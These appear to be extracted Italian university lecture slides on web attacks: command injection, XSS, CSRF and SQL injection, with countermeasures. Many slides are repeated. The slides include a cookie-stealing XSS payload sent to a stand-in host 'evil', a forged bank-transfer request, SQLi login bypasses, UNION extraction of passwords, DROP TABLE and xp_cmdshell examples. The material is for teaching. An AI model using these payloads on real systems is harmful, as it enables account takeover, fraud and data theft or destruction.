Sicurezza delle applicazioni web: attacchi web
|
|
|
- Vittore Alberti
- 8 anni fa
- Visualizzazioni
Transcript
1 Università degli Studi di Milano Facoltà di Scienze Matematiche, Fisiche e Naturali Anno Accademico 2010/2011 Sicurezza delle applicazioni web: attacchi web Alessandro Reina, Aristide Fattori 12 Maggio 2011 Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
2 Sommario 1 Introduzione 2 Source Code Injection 3 Attacchi client-side: CSS e CSRF Cross-Site Scripting Cross-Site Request Forgery 4 Attacchi server-side: SQL injection Esempi Tecniche d attacco 5 Bibliografia Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
3 Sommario 1 Introduzione 2 Source Code Injection 3 Attacchi client-side: CSS e CSRF Cross-Site Scripting Cross-Site Request Forgery 4 Attacchi server-side: SQL injection Esempi Tecniche d attacco 5 Bibliografia Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
4 Sommario 1 Introduzione 2 Source Code Injection 3 Attacchi client-side: CSS e CSRF Cross-Site Scripting Cross-Site Request Forgery 4 Attacchi server-side: SQL injection Esempi Tecniche d attacco 5 Bibliografia Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
5 Sommario 1 Introduzione 2 Source Code Injection 3 Attacchi client-side: CSS e CSRF Cross-Site Scripting Cross-Site Request Forgery 4 Attacchi server-side: SQL injection Esempi Tecniche d attacco 5 Bibliografia Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
6 Sommario 1 Introduzione 2 Source Code Injection 3 Attacchi client-side: CSS e CSRF Cross-Site Scripting Cross-Site Request Forgery 4 Attacchi server-side: SQL injection Esempi Tecniche d attacco 5 Bibliografia Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
7 OWASP Top Ten (2010) 1 Injection 2 Cross-Site Scripting (XSS) 3 Broken Authentication and Session Management 4 Insecure Direct Object References 5 Cross-Site Request Forgery (CSRF) 6 Security Misconfiguration 7 Insecure Cryptographic Storage 8 Failure to Restrict URL Access 9 Insufficient Transport Layer Protection 10 Unvalidated Redirects and Forwards Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
8 Environment Sistema stabile Un sistema stabile è un sistema con una risposta documentata a qualsiasi cambiamento di una condizione esterna. Sanitizzazione La sanitizzazione implica la modifica del contenuto di un parametro per evitare una risposta non documentata dello script. Problema Design specification Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
9 Environment Sistema stabile Un sistema stabile è un sistema con una risposta documentata a qualsiasi cambiamento di una condizione esterna. Sanitizzazione La sanitizzazione implica la modifica del contenuto di un parametro per evitare una risposta non documentata dello script. Problema Design specification Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
10 Environment Sistema stabile Un sistema stabile è un sistema con una risposta documentata a qualsiasi cambiamento di una condizione esterna. Sanitizzazione La sanitizzazione implica la modifica del contenuto di un parametro per evitare una risposta non documentata dello script. Problema Design specification Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
11 Source Code Injection Include file injection Source code injection è una vulnerabilià causata da un controllo non sufficiente delle variabili utilizzate nelle funzioni come ad esempio include(), require(). Esempio <? include("$data")?> Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
12 Command injection Esempio Command Injection i linguaggi di lato server consentono l esecuzione di comandi (e.g., system(), exec(), popen(), eval()) nome del comando e argomenti sono passati tramite stringa a volte nome/argomenti sono generati dinamicamente mancata sanitizzazione può introdurre vulnerabilità Ricerca di uno User-Agent nei log... system( cut -d \" -f 6 /var/log/apache2/access.log grep -i. $_GET[ chiave ]);... Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
![argomenti sono passati tramite stringa a volte nome/argomenti sono generati dinamicamente mancata sanitizzazione può](/docs-images/48/8505631/images/page_12.jpg "introdurre vulnerabilità Ricerca di uno User-Agent nei log... system( cut -d \\" -f 6 /var/log/apache2/access.log grep -i.")
13 Command injection Esempio Command Injection i linguaggi di lato server consentono l esecuzione di comandi (e.g., system(), exec(), popen(), eval()) nome del comando e argomenti sono passati tramite stringa a volte nome/argomenti sono generati dinamicamente mancata sanitizzazione può introdurre vulnerabilità Ricerca di uno User-Agent nei log... system( cut -d \" -f 6 /var/log/apache2/access.log grep -i. $_GET[ chiave ]);... Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
![tramite stringa a volte nome/argomenti sono generati dinamicamente mancata sanitizzazione può introdurre vulnerabilità Ricerca di uno](/docs-images/48/8505631/images/page_13.jpg "User-Agent nei log... system( cut -d \\" -f 6 /var/log/apache2/access.log grep -i. $_GET[ chiave ]);... http://www.ex.com/user_agent_stat.php?")
14 Attacchi client-side Cross-Site Scripting (XSS) e Cross-Site Request Forgery (CSRF) sfruttano la fiducia che un utente ha di un sito web (XSS), o viceversa (CSRF) attacco: modificare la pagina HTML originale, aggiungendo codice (HTML o JavaScript) la vittima si collega al server vulnerabile che restituisce la pagina modificata (e.g., link in , IM, link sulla rete) il browser interpreta il codice iniettato dall attaccante Esempi di obiettivi dell attacco 1 ottenere cookie associati al dominio vulnerabile 2 manipolazione form di login 3 esecuzione di GET/POST addizionali 4... qualunque cosa si possa fare con HTML + JavaScript! Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
15 Attacchi client-side Cross-Site Scripting (XSS) e Cross-Site Request Forgery (CSRF) sfruttano la fiducia che un utente ha di un sito web (XSS), o viceversa (CSRF) attacco: modificare la pagina HTML originale, aggiungendo codice (HTML o JavaScript) la vittima si collega al server vulnerabile che restituisce la pagina modificata (e.g., link in , IM, link sulla rete) il browser interpreta il codice iniettato dall attaccante Esempi di obiettivi dell attacco 1 ottenere cookie associati al dominio vulnerabile 2 manipolazione form di login 3 esecuzione di GET/POST addizionali 4... qualunque cosa si possa fare con HTML + JavaScript! Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
16 Reflected Cross-Site Scripting Funzionamento una pagina dinamica è vulnerabile a XSS l utente è indotto a accedere alla pagina vulnerabile l exploit è contenuto nell URL Esempio: http: //evil/log.php? +document.cookie</script> Offuscamento tecniche di encoding nascondere il link con l exploit dalla barra di stato un link innocuo effettua un redirect (HTTP 3xx) Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
17 Reflected Cross-Site Scripting Esempio sul server c è una pagina PHP che contiene: Benvenuto <?php echo $_GET[ nome ];?> la vittima clicca sul seguente link: <a href=" +document.cookie</script>" >link</a> il browser crea la seguente richiesta HTTP: GET /vuln.php?nome=%3cscipt%3edocument.location%3d %27http%3A%2F%2Fevil%2Flog.php%3F%27%2B document.cookie%3c%2fscript%3e Host: vulnerabile... risultato HTML prodotto dal server: Benvenuto <script>document.location= +document.cookie</script> Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
18 Reflected Cross-Site Scripting Esempio sul server c è una pagina PHP che contiene: Benvenuto <?php echo $_GET[ nome ];?> la vittima clicca sul seguente link: <a href=" +document.cookie</script>" >link</a> il browser crea la seguente richiesta HTTP: GET /vuln.php?nome=%3cscipt%3edocument.location%3d %27http%3A%2F%2Fevil%2Flog.php%3F%27%2B document.cookie%3c%2fscript%3e Host: vulnerabile... risultato HTML prodotto dal server: Benvenuto <script>document.location= +document.cookie</script> Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
19 Reflected Cross-Site Scripting Esempio sul server c è una pagina PHP che contiene: Benvenuto <?php echo $_GET[ nome ];?> la vittima clicca sul seguente link: <a href=" +document.cookie</script>" >link</a> il browser crea la seguente richiesta HTTP: GET /vuln.php?nome=%3cscipt%3edocument.location%3d %27http%3A%2F%2Fevil%2Flog.php%3F%27%2B document.cookie%3c%2fscript%3e Host: vulnerabile... risultato HTML prodotto dal server: Benvenuto <script>document.location= +document.cookie</script> Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
20 Reflected Cross-Site Scripting Esempio sul server c è una pagina PHP che contiene: Benvenuto <?php echo $_GET[ nome ];?> la vittima clicca sul seguente link: <a href=" +document.cookie</script>" >link</a> il browser crea la seguente richiesta HTTP: GET /vuln.php?nome=%3cscipt%3edocument.location%3d %27http%3A%2F%2Fevil%2Flog.php%3F%27%2B document.cookie%3c%2fscript%3e Host: vulnerabile... risultato HTML prodotto dal server: Benvenuto <script>document.location= +document.cookie</script> Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
21 Reflected Cross-Site Scripting Esempio sul server c è una pagina PHP che contiene: Benvenuto <?php echo $_GET[ nome ];?> la vittima clicca sul seguente link: <a href=" +document.cookie</script>" >link</a> il browser crea la seguente richiesta HTTP: GET /vuln.php?nome=%3cscipt%3edocument.location%3d %27http%3A%2F%2Fevil%2Flog.php%3F%27%2B document.cookie%3c%2fscript%3e Host: vulnerabile... risultato HTML prodotto dal server: Benvenuto <script>document.location= +document.cookie</script> Il browser interpreta il codice JavaScript, legge i Cookie della vittima per il dominio vulnerabile, si collega al sito evil e li passa in GET Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
22 Stored Cross-Site Scripting Fase 1 l attaccante invia al server il codice da iniettare il server memorizza in modo persistente il codice (e.g., database, file, messaggio inserito in un forum) il codice dell attacco non è visibile nell URL Fase 2 il client si collega al server il server genera la pagina inserendo anche il codice iniettato Osservazioni tutti gli utenti che richiederanno la pagina subiranno l attacco il codice ineittato non è visibile nell URL molto più pericoloso rispetto ai reflected! Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
23 Cross-Site Request Forgery Obiettivo far eseguire delle azioni alle vittime, sfruttando le loro credenziali (e.g., cookie di sessione) con JavaScript non è possibile accedere ai cookie di un altro dominio (same origin policy) XSS CSRF, ossia XSS = CSRF CSRF è possibile anche senza XSS CSRF reflected e stored samy is my hero virus JavaScript che sfrutta CSRF... forse non ancora utilizzati per creare danni tangibili Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
24 Stored CSRF (GET) Esempio stored CSRF in sito maligno il client si collega a e si autentica il client apre un altra istanza del browser (tab o finestra) e si collega ad un sito maligno la pagina maligna contiene qualcosa del tipo: <img src= banca.it/traferisci.php?to=1337&amount=10000 /> il browser crea una richiesta HTTP nella quale inserisce i parametri GET e inserisce il Cookie con l ID di sessione appropriato Osservazioni in JavaScript, utilizzando i form HTML si possono creare qualsiasi tipo di richieste HTTP (sia GET che POST) il sito maligno non deve essere necessariamente dinamico! Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
25 Stored CSRF (POST) Esempio stored CSRF nel target Assunzione l attaccante ha il pieno accesso alla pagina HTML e può usare AJAX la vittima si collega a e si autentica la vittima richiede la pagina che contiene il codice dell attacco il server (oltre alla pagine) restituisce: 1 var http = false; var body = to=1337&amount=10000 ; 2 http = new XMLHttpRequest(); 3 http.onreadystatechange = handleresponse; 4 http.open( POST, vulnerabile.it/trasferisci.php, true); 5 http.setrequestheader( Content type, application/x www form urlencoded ); 6 http.setrequestheader( Content length, body.length); 7 http.send(body); 8 function handleresponse() {... } per banca-vulnerabile, la richiesta è indistinguibile da una lecita Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
26 XSS/CSRF: Contromisure Lato client reflected XSS: se l attacco è visibile nella URL può essere facilmente evitato passando dalla root del dominio estensioni per Firefox: noscript (JavaScript su richiesta) non visitare altri siti quando utilizza il conto on-line, effettuare sempre il logout Lato server l input va sempre considerato insicuro, vanno applicate le corrette funzioni di sanitizzazione (e.g., htmlspecialchars()) Per CSRF: CAPTCHA (funzionano sempre?), PIN da inserire per ogni transazione importante per quelli su siti esterni si potrebbe passare una chiave tra le varie pagine dell applicazione (e.g., campi hidden) Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
27 SQL injection (SQLI) Scenario molte applicazioni web hanno la necessità di memorizzare dati strutturati (e.g., forum, CMS, e-commerce, blog,... ) database SQL Injection Si definisce SQL Injection una vulnerabilità che si verifica quando un attaccante è in grado di inserire codice nella query SQL. SQLI mancata validazione dell input le query generate dall applicazione contengono input si ha SQLI quando, manipolando l input, è possibile modificare sintatticamente o semanticamente una query SQL Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
28 SQL injection (SQLI) Scenario molte applicazioni web hanno la necessità di memorizzare dati strutturati (e.g., forum, CMS, e-commerce, blog,... ) database SQL Injection Si definisce SQL Injection una vulnerabilità che si verifica quando un attaccante è in grado di inserire codice nella query SQL. SQLI mancata validazione dell input le query generate dall applicazione contengono input si ha SQLI quando, manipolando l input, è possibile modificare sintatticamente o semanticamente una query SQL Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
29 SQL injection Esempio (PHP) 1 $nome = $ POST[ nome ]; 2 $passw = $ POST[ passw ]; 3 4 $result = mysql query( SELECT FROM Utenti. 5 WHERE nome= $nome AND passw= $passw ; ); 6 if(mysql num rows($result) > 0 ) { } 1 nome = mario passw = xyz... WHERE nome= mario AND passw= xyz ; 2 nome = admin passw = xyz OR 1 = 1... WHERE nome= admin AND passw= xyz OR 1 = 1 ;... quali righe seleziona l ultima query? Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
30 SQLI: Sorgenti d iniezione Input utente e header HTTP Input dell utente parametri GET/POST molte tecnologie client-side comunicano col server tramite GET/POST (e.g., Flash, applet Java, AJAX) Header HTTP tutti gli header HTTP devono essere considerati pericolosi User-Agent,Referer,... possono essere stati manipolati Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
31 SQLI: Sorgenti d iniezione Cookie e second order injection Cookie sono header aggiuntivi non modificabili da un normale browser provengono dal client pericolosi Second order injection l input viene memorizzato dall applicazione (file,database) successivamente, l input è utilizzato per la costruzione di query SQL Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
32 SQLI: Obiettivi dell attacco identificazione dei parametri iniettabili: analizzare l applicazione per scoprire le sorgenti d iniezione database footprinting: scoprire tipo e versione del DBMS in uso; facilitato da una gestione inadeguata degli errori determinazione del DB schema: nomi delle tabelle, nome e tipo delle colonne estrazione dati: estrazione di dati (sensibili) dal database manipolazione dei dati: inserimento, modifica o cancellazione dei dati denial of service: impedire l uso dell applicazione ad altri utenti (LOCK, DELETE,... ) bypassing dell autenticazione: eludere un meccanismo di autenticazione esecuzione remota di comandi: esecuzione di comandi (esterni al DBMS, stored procedure) Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
33 SQLI: Alcuni esempi Bypass dell autenticazione tramite tautologie query dell applicazione: $q = SELECT id FROM utente WHERE user=.$user. AND pass=.$pass. ; parametri inviati dall attaccante: $user = admin ; $pass = OR 1 = 1 ; query eseguita dall applicazione: $q = SELECT id FROM utente WHERE user= admin AND pass= OR 1 = 1 ; se l applicazione Web avesse sanitizzato l input (e.g., mysql escape string()): $q = SELECT id FROM utente WHERE user= admin AND pass= \ OR \ \ =\ ; Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
34 SQLI: Alcuni esempi Bypass dell autenticazione tramite tautologie query dell applicazione: $q = SELECT id FROM utente WHERE user=.$user. AND pass=.$pass. ; parametri inviati dall attaccante: $user = admin ; $pass = OR 1 = 1 ; query eseguita dall applicazione: $q = SELECT id FROM utente WHERE user= admin AND pass= OR 1 = 1 ; se l applicazione Web avesse sanitizzato l input (e.g., mysql escape string()): $q = SELECT id FROM utente WHERE user= admin AND pass= \ OR \ \ =\ ; Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
35 SQLI: Alcuni esempi Bypass dell autenticazione tramite tautologie query dell applicazione: $q = SELECT id FROM utente WHERE user=.$user. AND pass=.$pass. ; parametri inviati dall attaccante: $user = admin ; $pass = OR 1 = 1 ; query eseguita dall applicazione: $q = SELECT id FROM utente WHERE user= admin AND pass= OR 1 = 1 ; se l applicazione Web avesse sanitizzato l input (e.g., mysql escape string()): $q = SELECT id FROM utente WHERE user= admin AND pass= \ OR \ \ =\ ; Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
36 SQLI: Alcuni esempi Bypass dell autenticazione tramite tautologie query dell applicazione: $q = SELECT id FROM utente WHERE user=.$user. AND pass=.$pass. ; parametri inviati dall attaccante: $user = admin ; $pass = OR 1 = 1 ; query eseguita dall applicazione: $q = SELECT id FROM utente WHERE user= admin AND pass= OR 1 = 1 ; se l applicazione Web avesse sanitizzato l input (e.g., mysql escape string()): $q = SELECT id FROM utente WHERE user= admin AND pass= \ OR \ \ =\ ; Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
37 SQLI: Alcuni esempi Altre tautologie utilizzo di commenti SQL per evitare di terminare correttamente la query $pass = OR 1=1 ; $q = SELECT id FROM utente WHERE user= admin AND pass= OR 1=1 ; $pass = OR 1 ; $q = SELECT id FROM utente WHERE user= admin AND pass= OR 1 ; $user = admin # ; $q = SELECT id FROM utente WHERE user= admin # AND pass= ; scelta blind del primo user disponibile $user = OR user LIKE % # ; $q = SELECT id FROM utente WHERE user= OR user LIKE % # AND pass= ; $user = OR 1 # ; $q = SELECT id FROM utente WHERE user= OR 1 # AND pass= ; elusione di IDS $pass = OR 5>4 OR password= prova ; $pass = OR vulnerabilita > server ; Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
38 SQLI: Alcuni esempi Altre tautologie utilizzo di commenti SQL per evitare di terminare correttamente la query $pass = OR 1=1 ; $q = SELECT id FROM utente WHERE user= admin AND pass= OR 1=1 ; $pass = OR 1 ; $q = SELECT id FROM utente WHERE user= admin AND pass= OR 1 ; $user = admin # ; $q = SELECT id FROM utente WHERE user= admin # AND pass= ; scelta blind del primo user disponibile $user = OR user LIKE % # ; $q = SELECT id FROM utente WHERE user= OR user LIKE % # AND pass= ; $user = OR 1 # ; $q = SELECT id FROM utente WHERE user= OR 1 # AND pass= ; elusione di IDS $pass = OR 5>4 OR password= prova ; $pass = OR vulnerabilita > server ; Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
39 SQLI: Alcuni esempi Altre tautologie utilizzo di commenti SQL per evitare di terminare correttamente la query $pass = OR 1=1 ; $q = SELECT id FROM utente WHERE user= admin AND pass= OR 1=1 ; $pass = OR 1 ; $q = SELECT id FROM utente WHERE user= admin AND pass= OR 1 ; $user = admin # ; $q = SELECT id FROM utente WHERE user= admin # AND pass= ; scelta blind del primo user disponibile $user = OR user LIKE % # ; $q = SELECT id FROM utente WHERE user= OR user LIKE % # AND pass= ; $user = OR 1 # ; $q = SELECT id FROM utente WHERE user= OR 1 # AND pass= ; elusione di IDS $pass = OR 5>4 OR password= prova ; $pass = OR vulnerabilita > server ; Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
40 Tecniche d attacco SQLI UNION Query obiettivo: reperire record da altre tabelle esempio di query: $q = SELECT id, nome, prezzo, descrizione. FROM prodotto WHERE categoria=. $ GET[ cat ]; parametri passati dall attaccante: $cat = 1 UNION SELECT 1, user, 1, pass FROM utente ; numero e tipo di colonne della seconda SELECT devono coincidere con quelli della prima MySQL: una mancata corrispondenza fra i tipi provoca cast automatici $cat = 1 UNION SELECT 1, 1, user, pass FROM utente ; Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
41 Tecniche d attacco SQLI Second order injection obiettivo: far si che un parametro inizialmente innocuo diventi successivamente pericoloso username inserito dall attaccante: $user = admin # ; durante l inserimento nel database, $user viene sanitizzato correttamente l utente chiede di cambiare la propria password, ma i dati non sono correttamente sanitizzati: $q = UPDATE utente SET pass=. $ POST[ newpass ]. WHERE user=. $row[ user ]. ; query eseguita dall applicazione: $q = UPDATE utente SET pass= password WHERE user= admin # ; Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
42 Tecniche d attacco SQLI Second order injection obiettivo: far si che un parametro inizialmente innocuo diventi successivamente pericoloso username inserito dall attaccante: $user = admin # ; durante l inserimento nel database, $user viene sanitizzato correttamente l utente chiede di cambiare la propria password, ma i dati non sono correttamente sanitizzati: $q = UPDATE utente SET pass=. $ POST[ newpass ]. WHERE user=. $row[ user ]. ; query eseguita dall applicazione: $q = UPDATE utente SET pass= password WHERE user= admin # ; Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
43 Tecniche d attacco SQLI Piggy-backed obiettivo: eseguire un numero arbitrario di query, separate da ; esempio di query: $q = SELECT id FROM utente WHERE user=. $user. AND pass=. $pass. ; parametri passati dall attaccante: $user = ; DROP TABLE utente ; query eseguita dall applicazione: $q = SELECT id FROM utente WHERE user= ; DROP TABLE utente AND pass= ; entrambe le query vengono eseguite! Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
44 Tecniche d attacco SQLI Piggy-backed obiettivo: eseguire un numero arbitrario di query, separate da ; esempio di query: $q = SELECT id FROM utente WHERE user=. $user. AND pass=. $pass. ; parametri passati dall attaccante: $user = ; DROP TABLE utente ; query eseguita dall applicazione: $q = SELECT id FROM utente WHERE user= ; DROP TABLE utente AND pass= ; entrambe le query vengono eseguite! Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
45 Tecniche d attacco SQLI Query illogica-illegale obiettivo: recuperare informazioni su tabelle, DBMS,... esempio di attacco: $user = HAVING 1=1 ; query eseguita dall applicazione: SELECT FROM users WHERE username= HAVING 1=1 AND password= possibile risposta del server: Microsoft OLE DB Provider for ODBC Drivers error 80040e14 [Microsoft][ODBC SQL Server Driver][SQL Server]Column users.id is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /process_login.asp, line 35 Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
46 Tecniche d attacco SQLI Stored Procedure obiettivo: esecuzione di comandi remoti (stored procedure) MSSQL mette a disposizione circa 1000 stored procedure, per gestione database, creazione tabelle, gestione dati esterni,... xp cmdshell consente l esecuzione di comandi sulla macchina esempio: ; EXEC master..xp cmdshell dir c: Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
47 SQLI: Contromisure Sanitizzazione dei dati affidata ai programmatori i programmatori spesso si affidano a metodi automagici (e.g., in PHP, magic quotes gpc fa escaping tramite addslashes()) la sanitizzazione dipende dall attacco contro cui ci si vuole proteggere! sanitizzazione tramite regexp può essere tricky se ci aspetta un numero come parametro, verificare che sia tale... è possibile costruire stringhe senza utilizzare apici (AAA char(65,65,65)) Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
48 Bibliografia RFC HTTP http: // tools. ietf. org/ html/ rfc1945 (HTTP 1.0) http: // tools. ietf. org/ html/ rfc2616 (HTTP 1.1) http: // tools. ietf. org/ html/ rfc2109 (HTTP State Management Mechanism) OWASP XSS http: // www. owasp. org/ index. php/ XSS_ Attacks CSRF http: // www. owasp. org/ index. php/ CSRF Altro http: // wp. netscape. com/ newsref/ std/ cookie_ spec. html (Cookies) M. Kolsek Session Fixation Vulnerability in Web-based Applications http: // www. acros. si/ papers/ session_ fixation. pdf Samy virus: http: // namb. la/ popular/ A Classification of SQL Injection Attacks and Countermeasures http: // www. cc. gatech. edu/ ~ orso/ papers/ halfond. viegas. orso. ISSSE06. pdf Advanced SQL Injection In SQL Server Applications http: // www. nextgenss. com/ papers/ advanced_ sql_ injection. pdf Alessandro Reina, Aristide Fattori Attacchi web 12 Maggio / 28
Sicurezza delle applicazioni web: attacchi web
Università degli Studi di Milano Facoltà di Scienze Matematiche, Fisiche e Naturali Sicurezza delle applicazioni web: attacchi web Alessandro Reina Aristide Fattori
Sicurezza delle applicazioni web: attacchi web
Università degli Studi di Milano Facoltà di Scienze Matematiche, Fisiche e Naturali Anno Accademico 2012/2013 Sicurezza delle applicazioni web: attacchi web Srdjan Matic, Aristide Fattori 31 Maggio 2013
Attacchi Web. Davide Marrone <davide@security.dico.unimi.it>
Davide Marrone davide@security.dico.unimi.it Università degli Studi di Milano Facoltà di Scienze Matematiche, Fisiche e Naturali Dipartimento di Informatica e Comunicazione 22 gennaio 2007 Sommario Classificazione
Sicurezza delle applicazioni web: attacchi web
Università degli Studi di Milano Facoltà di Scienze Matematiche, Fisiche e Naturali Anno Accademico 2013/2014 Sicurezza delle applicazioni web: attacchi web Andrea Lanzi 21 Maggio 2014 Andrea Lanzi Protocollo
Sicurezza delle applicazioni web: attacchi web
Università degli Studi di Milano Facoltà di Scienze Matematiche, Fisiche e Naturali Anno Accademico 2008/2009 Sicurezza delle applicazioni web: attacchi web Roberto Paleari, Emanuele Passerini 16 Dicembre
Attacchi alle applicazioni web: SQL injection e Cross-site scripting (XSS)
UNIVERSITÀ DEGLI STUDI DI CATANIA Facoltà di Ingegneria Corso di laurea Specialistica in Ingegneria Informatica Tesina di Sicurezza nei Sistemi informativi Simona Ullo Attacchi alle applicazioni web: SQL
Corso di Sicurezza Informatica. Sicurezza del software. Ing. Gianluca Caminiti
Corso di Sicurezza Informatica Sicurezza del software Ing. Gianluca Caminiti SQL Injection Sommario Premessa sul funzionamento dei siti dinamici SQL Injection: Overview Scenari di attacco: Errata gestione
CONTENUTI 1. INTRODUZIONE...3 2. CONCETTI BASICI SU EQUINOX CMS XPRESS...5 3. ACCESSO A EQUINOX CMS XPRESS...9 4. PAGINA D INIZIO...
CONTENUTI 1. INTRODUZIONE...3 DEFINIZIONE...3 ELEMENTI DEL SERVIZIO...3 TECNOLOGIA E OPERAZIONE...3 WORKFLOW E GRAFICO DI PROCESSI...4 2. CONCETTI BASICI SU EQUINOX CMS XPRESS...5 STRUTTURA...5 OGGETTI...5
Programmazione Web. Laboratorio 4: PHP e MySQL
Programmazione Web Laboratorio 4: PHP e MySQL Lavagna elettronica (I) Un unità aziendale di decision making opera per le decisioni di tipo consueto e ripetitivo tramite la procedura seguente: un qualsiasi
[1] Cross Site Scripting [2] Remote / Local File Inclusion [3] SQL Injection
![[1] Cross Site Scripting [2] Remote / Local File Inclusion [3] SQL Injection](/thumbs/24/4020997.jpg "[1] Cross Site Scripting [2] Remote / Local File Inclusion [3] SQL Injection")
---------------------------------------------------------------------..... _/ / _ / / \ \/ / / / / \ / \ \ \ / /_/ \ /\ / \ \ \ / /_/ > Y \ \ \ >\_/ / > / \ / / \/ \/ \/ \/ / / \/ ---------------------------------------------------------------------
Laboratorio di reti II: Problematiche di sicurezza delle reti
Laboratorio di reti II: Problematiche di sicurezza delle reti Stefano Brocchi brocchi@dsi.unifi.it 30 maggio, 2008 Stefano Brocchi Laboratorio di reti II: Sicurezza web 30 maggio, 2008 1 / 43 La sicurezza
19. LA PROGRAMMAZIONE LATO SERVER
19. LA PROGRAMMAZIONE LATO SERVER Introduciamo uno pseudocodice lato server che chiameremo Pserv che utilizzeremo come al solito per introdurre le problematiche da affrontare, indipendentemente dagli specifici
Data Base. Master "Bio Info" Reti e Basi di Dati Lezione 6
Data Base 1 Sommario I concetti fondamentali. Database Relazionale.. Query e SQL MySql, Creazione di un db in MySQL con PHPmyAdmin Creazione database e delle Tabelle Query Inserimento Ricerca Modifica
PHP e Structured Query Language
Esercitazioni del corso di Tecnologie per la Comunicazione Aziendale PHP e Structured Query Language Marco Loregian loregian@disco.unimib.it www.siti.disco.unimib.it/didattica/tca2008 Interrogazioni (ripasso)
Indice register_globals escaping
1 Indice La sicurezza delle applicazioni web Le vulnerabilità delle applicazioni web La sicurezza in PHP: La direttiva register_globals Filtrare l'input Filtrare l'output (escaping) SQL Injection Cross
Navigazione automatica e rilevazione di errori in applicazioni web
Politecnico di Milano Navigazione automatica e rilevazione di errori in applicazioni web Relatore: Prof. Stefano Zanero Fabio Quarti F e d e r i c o V i l l a A.A. 2006/2007 Sommario Obiettivo: Illustrare
2.5. L'indirizzo IP identifica il computer di origine, il numero di porta invece identifica il processo di origine.
ESERCIZIARIO Risposte ai quesiti: 2.1 Non sono necessarie modifiche. Il nuovo protocollo utilizzerà i servizi forniti da uno dei protocolli di livello trasporto. 2.2 Il server deve essere sempre in esecuzione
sito web sito Internet
Siti Web Cos è un sito web Un sito web o sito Internet è un insieme di pagine web correlate, ovvero una struttura ipertestuale di documenti che risiede, tramite hosting, su un web server e accessibile
Esercizi di JavaScript
Esercizi di JavaScript JavaScript JavaScript é un linguaggio di programmazione interpretato e leggero, creato dalla Netscape. E' presente a patire da Netscape 2 in tutti i browser ed é dunque il linguaggio
Come funziona il WWW. Architettura client-server. Web: client-server. Il protocollo
Come funziona il WWW Il funzionamento del World Wide Web non differisce molto da quello delle altre applicazioni Internet Anche in questo caso il sistema si basa su una interazione tra un computer client
Obiettivo dell esercitazione
Database e Web - Esercitazioni ASP - Andrea Proli proliand@csr.unibo.it Laboratorio di Basi di Dati A.A. 2005/2006 Obiettivo dell esercitazione L obiettivo finale dell esercitazione è quello di creare
Bibliografia: Utenti e sessioni
Bibliografia: Utenti e sessioni http: protocollo stateless http si appoggia su una connessione tcp e lo scambio nel contesto di una connessione si limita a invio della richiesta, ricezione della risposta.
GERARCHIE RICORSIVE - SQL SERVER 2008
GERARCHIE RICORSIVE - SQL SERVER 2008 DISPENSE http://dbgroup.unimo.it/sia/gerarchiericorsive/ L obiettivo è quello di realizzare la tabella di navigazione tramite una query ricorsiva utilizzando SQL SERVER
Legenda: Vengono riportate qui brevi descrizioni di alcuni dei più noti e comuni tipi di vulnerabilità,in base al loro grado di pericolosità.
Legenda: Vengono riportate qui brevi descrizioni di alcuni dei più noti e comuni tipi di vulnerabilità,in base al loro grado di pericolosità. Livello di Pericolosità 3: Login Cracking: Il cracking è il
Corso di PHP. Prerequisiti. 6.1 PHP e il web 1. Conoscenza HTML Tecnica della programmazione Principi di programmazione web
Corso di PHP 6.1 PHP e il web 1 1 Prerequisiti Conoscenza HTML Tecnica della programmazione Principi di programmazione web 2 1 Introduzione In questa Unità illustriamo alcuni strumenti di programmazione
Corso di Web Programming
